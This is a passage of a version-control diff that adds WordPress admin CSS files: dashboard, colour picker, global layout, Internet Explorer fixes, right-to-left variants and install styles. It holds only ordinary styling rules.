font-size: 13px; +} + +#dashboard_right_now .table { + background: #f9f9f9; + border-top: #ececec 1px solid; + border-bottom: #ececec 1px solid; + margin: 0 -9px 10px; + padding: 0 10px; +} + +#dashboard_right_now table { + width: 100%; +} + +#dashboard_right_now table td { + border-top: #ececec 1px solid; + padding: 3px 0; + white-space: nowrap; +} + +#dashboard_right_now table tr.first td { + border-top: none; +} + +#dashboard_right_now td.b { + padding-right: 6px; + text-align: right; + font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif; + font-size: 14px; +} + +#dashboard_right_now td.b a { + font-size: 18px; +} + +#dashboard_right_now td.b a:hover { + color: #d54e21; +} + +#dashboard_right_now .t { + font-size: 12px; + padding-right: 12px; + padding-top: 6px; + color: #777; +} + +#dashboard_right_now .t a { + white-space: nowrap; +} + +#dashboard_right_now td.first, +#dashboard_right_now td.last { + width: 1%; +} + +#dashboard_right_now .spam { + color: red; +} + +#dashboard_right_now .waiting { + color: #e66f00; +} + +#dashboard_right_now .approved { + color: green; +} + +#dashboard_right_now .versions { + padding: 6px 10px 12px; +} + +#dashboard_right_now .versions .b { + font-weight: bold; +} + +#dashboard_right_now a.button { + float: right; + clear: right; + position: relative; + top: -5px; +} + +/* Recent Comments */ + +#dashboard_recent_comments h3 { + margin-bottom: 0; +} + +#dashboard_recent_comments .inside { + margin-top: 0; +} + +#dashboard_recent_comments .comment-meta .approve { + font-style: italic; + font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif; + font-size: 10px; +} + +#the-comment-list { + position: relative; +} + +#the-comment-list .comment-item { + padding: 1em 10px; + border-top: 1px solid; +} + +#the-comment-list .pingback { + padding-left: 9px !important; +} + +#the-comment-list .comment-item, +#the-comment-list #replyrow { + margin: 0 -10px; +} + +#the-comment-list .comment-item:first-child { + border-top: none; +} + +#the-comment-list .comment-item .avatar { + float: left; + margin: 0 10px 5px 0; +} + +#the-comment-list .comment-item h4 { + line-height: 1.4; + margin-top: -.2em; + font-weight: normal; + color: #999; +} + +#the-comment-list .comment-item h4 cite { + font-style: normal; + font-weight: normal; +} + +#the-comment-list .comment-item blockquote, +#the-comment-list .comment-item blockquote p { + margin: 0; + padding: 0; + display: inline; +} + +#dashboard_recent_comments #the-comment-list .trackback blockquote, +#dashboard_recent_comments #the-comment-list .pingback blockquote { + display: block; +} + +#the-comment-list .comment-item p.row-actions { + margin: 3px 0 0; + padding: 0; + font-size: 10px; +} + +/* QuickPress */ + +#dashboard_quick_press h4 { + font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif; + float: left; + width: 5.5em; + clear: both; + font-weight: normal; + text-align: right; + padding-top: 5px; + font-size: 12px; +} + +#dashboard_quick_press h4 label { + margin-right: 10px; +} + +#dashboard_quick_press .input-text-wrap, +#dashboard_quick_press .textarea-wrap { + margin: 0 0 1em 5em; +} + +#dashboard_quick_press #media-buttons { + margin: 0 0 .5em 5em; + padding: 0 0 0 10px; + font-size: 11px; +} + +#dashboard_quick_press #media-buttons a { + vertical-align: bottom; +} + +#dashboard-widgets #dashboard_quick_press form p.submit { + margin-left: 4.6em; +} + +#dashboard-widgets #dashboard_quick_press form p.submit input { + float: left; +} + +#dashboard-widgets #dashboard_quick_press form p.submit #save-post { + margin: 0 1em 0 10px; +} + +#dashboard-widgets #dashboard_quick_press form p.submit #publish { + float: right; +} + +/* Recent Drafts */ +#dashboard_recent_drafts ul { + margin: 0; + padding: 0; + list-style: none; +} + +#dashboard_recent_drafts ul li { + margin-bottom: 0.6em; +} + +#dashboard_recent_drafts h4 { + font-weight: normal; +} + +#dashboard_recent_drafts h4 abbr { + font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif; + font-size: 11px; + color: #999; + margin-left: 3px; +} + +#dashboard_recent_drafts p { + margin: 0; + padding: 0; +} + +/* Feeds */ + +.rss-widget ul { + margin: 0; + padding: 0; + list-style: none; +} + +a.rsswidget { + font-size: 13px; + font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif; + line-height: 1.7em; +} + +.rss-widget ul li { + line-height: 1.5em; + margin-bottom: 12px; +} + +.rss-widget span.rss-date { + margin-left: 3px; +} + +.rss-widget cite { + display: block; + text-align: right; + margin: 0 0 1em; + padding: 0; +} + +.rss-widget cite:before { + content: '\2014'; +} + +/* Plugins */ + +#dashboard_plugins h4 { + font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif; +} + +#dashboard_plugins h5 { + font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif; + font-size: 13px !important; + margin: 0; + display: inline; + line-height: 1.4em; +} + +#dashboard_plugins h5 a { + font-weight: normal; + line-height: 1.7em; +} + +#dashboard_plugins p { + margin: 0 0 1.4em; + line-height: 1.4em; +} + +.dashboard-comment-wrap { + overflow: hidden; + word-wrap: break-word; +} + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/farbtastic-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/farbtastic-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,7 @@ +.farbtastic .color, .farbtastic .overlay { + left: 0; + right: 47px; +} +.farbtastic .marker { + margin: -8px -8px 0 0; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/farbtastic.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/farbtastic.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,32 @@ +.farbtastic { + position: relative; +} +.farbtastic * { + position: absolute; + cursor: crosshair; +} +.farbtastic, .farbtastic .wheel { + width: 195px; + height: 195px; +} +.farbtastic .color, .farbtastic .overlay { + top: 47px; + left: 47px; + width: 101px; + height: 101px; +} +.farbtastic .wheel { + background: url(../images/wheel.png) no-repeat; + width: 195px; + height: 195px; +} +.farbtastic .overlay { + background: url(../images/mask.png) no-repeat; +} +.farbtastic .marker { + width: 17px; + height: 17px; + margin: -8px 0 0 -8px; + overflow: hidden; + background: url(../images/marker.png) no-repeat; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/global-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/global-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,82 @@ +/* 2 column liquid layout */ +#adminmenu { + float: right; + clear: right; + margin-right:-160px; + margin-left: 5px; +} +body.folded #adminmenu { + margin-left: 0; + margin-right: -45px; +} +/* inner 2 column liquid layout */ +.inner-sidebar { + float: left; + clear: left; +} + +.has-right-sidebar #post-body { + clear:right; + float:right; + margin-right:0; + margin-left:-340px; +} + +.has-right-sidebar #post-body-content { + margin-left: 300px; + margin-right:0; +} + +#wpbody { + margin-left:0; + margin-right: 175px; +} +.folded #wpbody { + margin-left: 0; + margin-right: 60px; +} +#wpbody-content { + float: right; +} +/* 2 columns main area */ +#col-right { + float: left; + clear: left; +} +.wrap { + margin: 0 5px 0 15px; +} +/* styles for use by people extending the WordPress interface */ +body, td, textarea, input, select { + font-family: Tahoma, arial; +} +.alignleft { + float: right; +} +.alignright { + float: left; +} +.subsubsub { + float: right; +} +.widefat th { + text-align: right; +} +.widefat th input { + margin: 0 8px 0 0; +} +.wrap h2 { + font-family: arial; + padding: 14px 0 3px 15px; +} +.wrap h2.long-header { + padding-left: 0; +} +.updated, .error { + clear: both; +} + +.screen-reader-text, .screen-reader-text span { + left:auto; + text-indent:-1000em; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/global.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/global.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,font,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{margin:0;padding:0;border:0;outline:0;background:transparent;}body{line-height:1;}ol,ul{list-style:none;}blockquote,q{quotes:none;}blockquote:before,blockquote:after,q:before,q:after{content:'';content:none;}ins{text-decoration:none;}del{text-decoration:line-through;}#wpwrap{height:auto;min-height:100%;width:100%;}#wpcontent{height:100%;padding-bottom:50px;}#wpbody{clear:both;margin-left:175px;}.folded #wpbody{margin-left:60px;}#wpbody-content{float:left;width:100%;}#adminmenu{float:left;clear:left;width:145px;margin-top:15px;margin-right:5px;margin-bottom:15px;margin-left:-160px;position:relative;padding:0;list-style:none;}.folded #adminmenu{margin-left:-45px;}.folded #adminmenu,.folded #adminmenu li.menu-top{width:28px;}#footer{clear:both;position:relative;width:100%;}.inner-sidebar{float:right;clear:right;display:none;width:281px;position:relative;}.inner-sidebar #side-sortables{width:280px;min-height:300px;}.has-right-sidebar .inner-sidebar{display:block;}.has-right-sidebar #post-body{float:left;clear:left;width:100%;margin-right:-340px;}.has-right-sidebar #post-body-content{margin-right:300px;}#col-container{overflow:hidden;padding:0;margin:0;}#col-left{padding:0;margin:0;overflow:hidden;width:39%;}#col-right{float:right;clear:right;overflow:hidden;padding:0;margin:0;width:59%;}.alignleft{float:left;}.alignright{float:right;}.textleft{text-align:left;}.textright{text-align:right;}.clear{clear:both;}.screen-reader-text,.screen-reader-text span{position:absolute;left:-1000em;height:1px;width:1px;overflow:hidden;}.hidden,.js .closed .inside,.js .hide-if-js,.no-js .hide-if-no-js{display:none;}input[type="text"],input[type="password"],textarea{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;}input[type="checkbox"],input[type="radio"]{vertical-align:middle;}html,body{height:100%;}body,td,textarea,input,select{font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;font-size:13px;}body,textarea{line-height:1.4em;}input,select{line-height:1em;}p{margin:1em 0;}blockquote{margin:1em;}label{cursor:pointer;}li,dd{margin-bottom:6px;}p,li,dl,dd,dt{line-height:140%;}textarea,input,select{margin:1px;padding:3px;}h1{display:block;font-size:2em;font-weight:bold;margin:.67em 0;}h2{display:block;font-size:1.5em;font-weight:bold;margin:.83em 0;}h3{display:block;font-size:1.17em;font-weight:bold;margin:1em 0;}h4{display:block;font-size:1em;font-weight:bold;margin:1.33em 0;}h5{display:block;font-size:.83em;font-weight:bold;margin:1.67em 0;}h6{display:block;font-size:.67em;font-weight:bold;margin:2.33em 0;}ul.ul-disc{list-style:disc outside;}ul.ul-square{list-style:square outside;}ol.ol-decimal{list-style:decimal outside;}ul.ul-disc,ul.ul-square,ol.ol-decimal{margin-left:1.8em;}ul.ul-disc>li,ul.ul-square>li,ol.ol-decimal>li{margin:0 0 .5em;}.subsubsub{list-style:none;margin:8px 0 5px;padding:0;white-space:nowrap;font-size:11px;float:left;}.subsubsub a{line-height:2;padding:.2em;text-decoration:none;}.subsubsub a .count,.subsubsub a.current .count{color:#999;font-weight:normal;}.subsubsub a.current{font-weight:bold;background:none;border:none;}.subsubsub li{display:inline;margin:0;padding:0;}.widefat{border-width:1px;border-style:solid;border-spacing:0;width:100%;clear:both;margin:0;-moz-border-radius:4px;-khtml-border-radius:4px;-webkit-border-radius:4px;border-radius:4px;}.widefat *{word-wrap:break-word;}.widefat a{text-decoration:none;}.widefat td,.widefat th{border-bottom-width:1px;border-bottom-style:solid;font-size:11px;}.widefat td{padding:3px 7px;vertical-align:top;}.widefat td p,.widefat td ol,.widefat td ul{font-size:11px;}.widefat th{padding:7px 7px 8px;text-align:left;line-height:1.3em;}.widefat th input{margin:0 0 0 8px;padding:0;vertical-align:text-top;}.widefat .check-column{width:2.2em;padding:0;}.widefat tbody th.check-column{padding:7px 0 22px;vertical-align:top;}.widefat .num,.column-comments,.column-links,.column-posts{text-align:center;}.widefat th#comments{vertical-align:middle;}.wrap{margin:0 15px 0 5px;}.updated,.error{border-width:1px;border-style:solid;padding:0 .6em;margin:5px 15px 2px;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;}.updated p,.error p{margin:.5em 0;line-height:1;padding:2px;}.wrap .updated,.wrap .error{margin:5px 0 15px;}.wrap h2{font:italic normal normal 24px/29px Georgia,"Times New Roman","Bitstream Charter",Times,serif;margin:0;padding:14px 15px 3px 0;line-height:35px;text-shadow:rgba(255,255,255,1) 0 1px 0;}.wrap h2.long-header{padding-right:0;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/global.dev.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/global.dev.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,486 @@ +/* http://meyerweb.com/eric/tools/css/reset/ */ +/* v1.0 | 20080212 */ + +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, font, img, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +b, u, i, center, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { + margin: 0; + padding: 0; + border: 0; + outline: 0; +/* font-size: 100%; + vertical-align: baseline; */ + background: transparent; +} +body { + line-height: 1; +} +ol, ul { + list-style: none; +} +blockquote, q { + quotes: none; +} +blockquote:before, blockquote:after, +q:before, q:after { + content: ''; + content: none; +} + +/* remember to define focus styles! */ +/* +:focus { + outline: 0; +} +*/ +/* remember to highlight inserts somehow! */ +ins { + text-decoration: none; +} +del { + text-decoration: line-through; +} + +/* tables still need 'cellspacing="0"' in the markup */ +/* +table { + border-collapse: collapse; + border-spacing: 0; +} +*/ +/* end reset css */ + + +/* 2 column liquid layout */ +#wpwrap { + height: auto; + min-height: 100%; + width: 100%; +} + +#wpcontent { + height: 100%; + padding-bottom: 50px; +} + +#wpbody { + clear: both; + margin-left: 175px; +} + +.folded #wpbody { + margin-left: 60px; +} + +#wpbody-content { + float: left; + width: 100%; +} + +#adminmenu { + float: left; + clear: left; + width: 145px; + margin-top: 15px; + margin-right: 5px; + margin-bottom: 15px; + margin-left: -160px; + position: relative; + padding: 0; + list-style: none; +} + +.folded #adminmenu { + margin-left: -45px; +} + +.folded #adminmenu, +.folded #adminmenu li.menu-top { + width: 28px; +} + +#footer { + clear: both; + position: relative; + width: 100%; +} + +/* inner 2 column liquid layout */ +.inner-sidebar { + float: right; + clear: right; + display: none; + width: 281px; + position: relative; +} + +.inner-sidebar #side-sortables { + width: 280px; + min-height: 300px; +} + +.has-right-sidebar .inner-sidebar { + display: block; +} + +.has-right-sidebar #post-body { + float: left; + clear: left; + width: 100%; + margin-right: -340px; +} + +.has-right-sidebar #post-body-content { + margin-right: 300px; +} + +/* 2 columns main area */ + +#col-container { + overflow: hidden; + padding: 0; + margin: 0; +} + +#col-left { + padding: 0; + margin: 0; + overflow: hidden; + width: 39%; +} + +#col-right { + float: right; + clear: right; + overflow: hidden; + padding: 0; + margin: 0; + width: 59%; +} + +/* utility classes */ +.alignleft { + float: left; +} + +.alignright { + float: right; +} + +.textleft { + text-align: left; +} + +.textright { + text-align: right; +} + +.clear { + clear: both; +} + +/* Hide visually but not from screen readers */ +.screen-reader-text, +.screen-reader-text span { + position: absolute; + left: -1000em; + height: 1px; + width: 1px; + overflow: hidden; +} + +.hidden, +.js .closed .inside, +.js .hide-if-js, +.no-js .hide-if-no-js { + display: none; +} + +/* include margin and padding in the width calculation of input and textarea */ +input[type="text"], +input[type="password"], +textarea { + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + -ms-box-sizing: border-box; /* ie8 only */ + box-sizing: border-box; +} + +input[type="checkbox"], +input[type="radio"] { + vertical-align: middle; +} + +/* styles for use by people extending the WordPress interface */ +html, +body { + height: 100%; +} + +body, +td, +textarea, +input, +select { + font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif; + font-size: 13px; +} + +body, +textarea { + line-height: 1.4em; +} + +input, +select { + line-height: 1em; +} + +p { + margin: 1em 0; +} + +blockquote { + margin: 1em; +} + +label { + cursor: pointer; +} + +li, +dd { + margin-bottom: 6px; +} + +p, +li, +dl, +dd, +dt { + line-height: 140%; +} + +textarea, +input, +select { + margin: 1px; + padding: 3px; +} + +h1 { + display: block; + font-size: 2em; + font-weight: bold; + margin: .67em 0; +} + +h2 { + display: block; + font-size: 1.5em; + font-weight: bold; + margin: .83em 0; +} + +h3 { + display: block; + font-size: 1.17em; + font-weight: bold; + margin: 1em 0; +} + +h4 { + display: block; + font-size: 1em; + font-weight: bold; + margin: 1.33em 0; +} + +h5 { + display: block; + font-size: 0.83em; + font-weight: bold; + margin: 1.67em 0; +} + +h6 { + display: block; + font-size: 0.67em; + font-weight: bold; + margin: 2.33em 0; +} + +ul.ul-disc { + list-style: disc outside; +} + +ul.ul-square { + list-style: square outside; +} + +ol.ol-decimal { + list-style: decimal outside; +} + +ul.ul-disc, +ul.ul-square, +ol.ol-decimal { + margin-left: 1.8em; +} + +ul.ul-disc > li, +ul.ul-square > li, +ol.ol-decimal > li { + margin: 0 0 0.5em; +} + +.subsubsub { + list-style: none; + margin: 8px 0 5px; + padding: 0; + white-space: nowrap; + font-size: 11px; + float: left; +} + +.subsubsub a { + line-height: 2; + padding: .2em; + text-decoration: none; +} + +.subsubsub a .count, .subsubsub a.current .count { + color: #999; + font-weight: normal; +} + +.subsubsub a.current { + font-weight: bold; + background: none; + border: none; +} + +.subsubsub li { + display: inline; + margin: 0; + padding: 0; +} + +.widefat { + border-width: 1px; + border-style: solid; + border-spacing: 0; + width: 100%; + clear: both; + margin: 0; + -moz-border-radius: 4px; + -khtml-border-radius: 4px; + -webkit-border-radius: 4px; + border-radius: 4px; +} + +.widefat * { + word-wrap: break-word; +} + +.widefat a { + text-decoration: none; +} + +.widefat td, +.widefat th { + border-bottom-width: 1px; + border-bottom-style: solid; + font-size: 11px; +} + +.widefat td { + padding: 3px 7px; + vertical-align: top; +} + +.widefat td p, +.widefat td ol, +.widefat td ul { + font-size: 11px; +} + +.widefat th { + padding: 7px 7px 8px; + text-align: left; + line-height: 1.3em; +} + +.widefat th input { + margin: 0 0 0 8px; + padding: 0; + vertical-align: text-top; +} + +.widefat .check-column { + width: 2.2em; + padding: 0; + +} + +.widefat tbody th.check-column { + padding: 7px 0 22px; + vertical-align: top; +} + +.widefat .num, +.column-comments, +.column-links, +.column-posts { + text-align: center; +} + +.widefat th#comments { + vertical-align: middle; +} + +.wrap { + margin: 0 15px 0 5px; +} + +.updated, +.error { + border-width: 1px; + border-style: solid; + padding: 0 0.6em; + margin: 5px 15px 2px; + -moz-border-radius: 3px; + -khtml-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px; +} + +.updated p, +.error p { + margin: 0.5em 0; + line-height: 1; + padding: 2px; +} + +.wrap .updated, +.wrap .error { + margin: 5px 0 15px; +} + +.wrap h2 { + font: italic normal normal 24px/29px Georgia, "Times New Roman", "Bitstream Charter", Times, serif; + margin: 0; + padding: 14px 15px 3px 0; + line-height: 35px; + text-shadow: rgba(255,255,255,1) 0px 1px 0px; +} + +.wrap h2.long-header { + padding-right: 0; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/ie-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/ie-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,95 @@ +* html #wpcontent #adminmenu .wp-has-submenu .wp-menu-toggle { + background: url(../images/menu-bits-rtl.gif) no-repeat scroll right -109px; +} + +* html #wpcontent #adminmenu li.wp-has-current-submenu .wp-menu-toggle { + background: url(../images/menu-bits-rtl.gif) no-repeat scroll right -206px; +} +* html #adminmenu { + margin-left:0; + margin-right: -80px; +} +* html div.folded #adminmenu { + margin-left: 0; + margin-right: -22px; +} +#wpcontent #adminmenu .wp-submenu li.wp-submenu-head { + padding: 3px 10px 4px 4px; +} +.inline-edit-row fieldset label span.title { + float: right; +} +.inline-edit-row fieldset label span.input-text-wrap { + margin-right: 0; +} +p.search-box { + float: left; +} +* html #poststuff h2 { + margin-right: 0; +} +#bh { + margin: 7px 10px 0 0; + float: left; +} +#user_info + div#favorite-actions { + right: auto; + left: 15px; +} +#wphead-info { + float: left; +} +/* without this dashboard widgets appear in one column for some screen widths */ +div#dashboard-widgets { + padding-right: 0; + padding-left: 1px; +} +.tagchecklist span a { + margin: 4px -9px 0 0; +} +.widefat th input { + margin: 0 5px 0 0; +} +/* ---------- add by navid */ +#TB_window { + width: 670px; + position: absolute; + top: 50%; + left: 50%; + margin-right: 335px !important; +} +#dashboard_plugins { + direction: ltr; +} +#dashboard_plugins h3.hndle { + direction: rtl; +} +#dashboard_incoming_links ul li, +#dashboard_secondary ul li, +#dashboard_primary ul li, +p.row-actions { + width: 100%; +} +#favorite-inside { + position: absolute; + right:0; +} +#post-status-info { + height: 25px; +} +#screen-meta { + position: static; +} +p.submit { /* quick edit and reply in edit-comments.php */ + height:22px; +} +.inner-sidebar { /* fix edit single comment */ + position: static; +} +form#widgets-filter { /* fix widget page */ + position: static; +} + +* html .meta-box-sortables .postbox .handlediv { + background: transparent url(../images/menu-bits-rtl-vs.gif) no-repeat scroll right -111px; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/ie.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/ie.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,444 @@ +/* Fixes for IE bugs */ + +input.button, +input.button-secondary, +input.button-highlighted { + padding: 0; +} + +#minor-publishing-actions input, +#major-publishing-actions input { + min-width: auto; + padding-left: 0; + padding-right: 0; +} + +#wpbody-content .postbox { + border: 1px solid #dfdfdf; +} + +#wpbody-content .postbox h3 { + margin-bottom: -1px; +} + +* html .meta-box-sortables .postbox .handlediv { + background: transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -111px; +} + +* html .edit-box { + display: inline; +} + +* html .inner-sidebar #side-sortables, +* html .postbox-container .meta-box-sortables { + height: 300px; +} + +* html #wpbody-content #screen-options-link-wrap { + display: inline-block; + width: 150px; + text-align: center; +} + +* html #wpbody-content #contextual-help-link-wrap { + display: inline-block; + width: 100px; + text-align: center; +} + +* html #adminmenu { + margin-left: -80px; +} + +* html .folded #adminmenu { + margin-left: -22px; +} + +* html #wpcontent #adminmenu li.menu-top { + display: inline; + padding: 0; + margin: 0; +} + +* html #footer { + margin: 0; +} + +.folded #adminmenu li.menu-top { + display: block; + zoom: 100%; +} + +ul#adminmenu { + z-index: 99; +} + +#adminmenu li.menu-top a.menu-top { + min-width: auto; + width: auto; +} + +#wpcontent #adminmenu li.wp-has-current-submenu a.wp-has-submenu { + font-style: normal; +} + +* html #wpcontent #adminmenu .wp-menu-open .wp-menu-toggle { + background: none; +} + +* html #wpcontent #adminmenu .wp-has-submenu .wp-menu-toggle { + background: url(../images/menu-bits.gif) no-repeat scroll left -109px; +} + +* html #wpcontent #adminmenu li.wp-has-current-submenu .wp-menu-toggle { + background: url(../images/menu-bits.gif) no-repeat scroll left -206px; +} + +* html #adminmenu div.wp-menu-image { + height: 29px; +} + +#wpcontent #adminmenu .wp-submenu li { + padding: 0; +} + +#adminmenu, +.wp-submenu, +.wp-submenu li, +.wp-menu-toggle { + zoom: 100%; +} + +.folded #adminmenu li.wp-menu-separator { + width: 28px; +} + +#wpcontent #adminmenu .wp-submenu li.wp-submenu-head { + padding: 3px 4px 4px 10px; + zoom: 100%; +} + +.folded #adminmenu .menu-top { + height: 30px; +} + +.folded #adminmenu .wp-submenu { + margin: -1px 0 0 0; +} + +#template, +#template div, +#editcat, +#addcat, +* html .stuffbox h3 { + zoom: 100%; +} + +.submitbox { + margin-top: 10px; +} + +/* Inline Editor */ +#wpbody-content .quick-edit-row-post .inline-edit-col-left { + width: 39%; +} + +#wpbody-content .inline-edit-row-post .inline-edit-col-center { + width: 19%; +} + +#wpbody-content .quick-edit-row-page .inline-edit-col-left { + width: 49%; +} + +#wpbody-content .bulk-edit-row .inline-edit-col-left { + width: 29%; +} + +.inline-edit-row p.submit { + zoom: 100%; +} + +.inline-edit-row fieldset label span.title { + display: block; + float: left; + width: 5em; +} + +.inline-edit-row fieldset label span.input-text-wrap { + margin-left: 0; + zoom: 100%; +} + +#wpbody-content .inline-edit-row fieldset label span.input-text-wrap input { + line-height: 130%; +} + +#wpbody-content .inline-edit-row .input-text-wrap input { + width: 95%; +} + +#wpbody-content .inline-edit-row .input-text-wrap input.inline-edit-password-input { + width: 8em; +} +/* end Inline Editor */ + +input { + line-height: 1; +} + +* html .row-actions { + visibility: visible; +} + +#dashboard-widgets h3 a { + height: 20px; + line-height: 20px; +} + +#wphead-info { + float: right; +} + +#titlediv #title { + width: 98%; +} + +a.button { + line-height: 1.4em; + margin: 1px; + padding: 4px 6px; +} + +* html div.widget-liquid-left, +* html div.widget-liquid-right { + display: block; + position: relative; +} + +#screen-options-wrap { + overflow: hidden; +} + +#favorite-actions { + z-index: 12; +} + +#favorite-inside, +#favorite-inside a, +.favorite-action { + zoom: 100%; +} + +#the-comment-list .comment-item, +#post-status-info, +#wpwrap, +#wpcontent, +#wrap, +#postdivrich, +#postdiv, +#poststuff, +.metabox-holder, +#titlediv, +#post-body, +#editorcontainer, +.tablenav, +.widget-liquid-left, +.widget-liquid-right, +#widgets-left, +.widgets-sortables, +#dragHelper, +.widget .widget-top, +.widget, +.widget-control-actions, +.tagchecklist, +#col-container, +#col-left, +#col-right, +.fileedit-sub { + display: block; + zoom: 100%; +} + +p.search-box { + position: static; + float: right; + margin: -3px 0 4px; +} + +* html #editorcontainer { + padding: 0; +} + +#editorcontainer #content { + overflow: auto; + margin: auto; + width: 98%; +} + +form#template div { + width: 100%; +} + +#ed_toolbar input, +#ed_reply_toolbar input { + overflow: visible; + padding: 0 4px; +} + +#poststuff h2 { + font-size: 1.6em; +} + +* html #poststuff h2 { + margin-left: 0; +} + +#bh { + margin: 7px 10px 0 0; + float: right; +} + +/* without this dashboard widgets appear in one column for some screen widths */ +div#dashboard-widgets { + padding-right: 1px; +} + +.tagchecklist span, .tagchecklist span a { + display: inline-block; + display: block; +} + +.tagchecklist span a { + margin: 4px 0 0 -9px; +} + +.tablenav .button-secondary, .nav .button-secondary { + padding: 0 1px; + vertical-align: middle; +} + +.tablenav select { + font-size: 13px; + display: inline-block; + vertical-align: top; + margin-top: 2px; +} + +.tablenav .actions select { + width: 155px; +} + +table.ie-fixed { + table-layout: fixed; +} + +.widefat tr, .widefat th { + margin-bottom: 0; + border-spacing: 0; +} + +.widefat th input { + margin: 0 0 0 5px; +} + +.widefat .check-column { + padding: 6px 0 2px; +} + +.widefat tbody th.check-column { + padding: 4px 0 22px; +} + +.widefat { + empty-cells: show; + border-collapse: collapse; +} + +.tablenav a.button-secondary { + display: inline-block; + padding: 2px 5px; +} + +* html .stuffbox, +* html .stuffbox input, +* html .stuffbox textarea { + border: 1px solid #DFDFDF; +} + +* html .feature-filter .feature-group li { + width: 145px; +} + +* html .widget-top .widget-title-action a { + background: url("../images/menu-bits.gif") no-repeat scroll 0 -110px; +} + +* html div.widget-liquid-left { + width: 99%; +} + +#wp_inactive_widgets { + padding-bottom: 8px; +} + +* html .widgets-sortables { + height: 50px; +} + +* html a#content_resize { + right: -2px; +} + +* html .widget-title h4 { + width: 205px; +} + +* html #removing-widget .in-widget-title { + display: none; +} + +#available-widgets .widget-holder { + padding-bottom: 65px; +} + +#widgets-left .inactive { + padding-bottom: 10px; +} + +.widget-liquid-right .widget, +#wp_inactive_widgets .widget { + position: relative; +} + +* html .media-item .pinkynail { + height: 32px; + width: 40px; +} + +#wpcontent .button-primary-disabled { + color: #9FD0D5; + background: #298CBA; +} + +#wpcontent #ajax-loading { + vertical-align: baseline; +} + +* html .describe .field input.text, +* html .describe .field textarea { + width: 440px; +} + +#the-comment-list .unapproved tr, +#the-comment-list .unapproved td { + background-color: #ffffe0; +} + +.imgedit-submit { + width: 300px; +} + +* html input { + border: 1px solid #dfdfdf; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/install-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/install-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,16 @@ +body { + font-family: Tahoma, arial; +} +h1 { + font-family: arial; + margin: 5px -4px 0 0; +} +ul, ol { padding: 5px 22px 5px 5px; } +.step, th { text-align: right; } +.submit input, .button, .button-secondary { + font-family: Tahoma, arial; + margin-right:0; +} +.form-table th { + text-align: right; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/install.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/install.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +html{background:#f7f7f7;}body{background:#fff;color:#333;font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;margin:2em auto 0 auto;width:700px;padding:1em 2em;-moz-border-radius:11px;-khtml-border-radius:11px;-webkit-border-radius:11px;border-radius:11px;border:1px solid #dfdfdf;}a{color:#2583ad;text-decoration:none;}a:hover{color:#d54e21;}h1{border-bottom:1px solid #dadada;clear:both;color:#666;font:24px Georgia,"Times New Roman",Times,serif;margin:5px 0 0 -4px;padding:0;padding-bottom:7px;}h2{font-size:16px;}p,li{padding-bottom:2px;font-size:12px;line-height:18px;}code{font-size:13px;}ul,ol{padding:5px 5px 5px 22px;}#logo{margin:6px 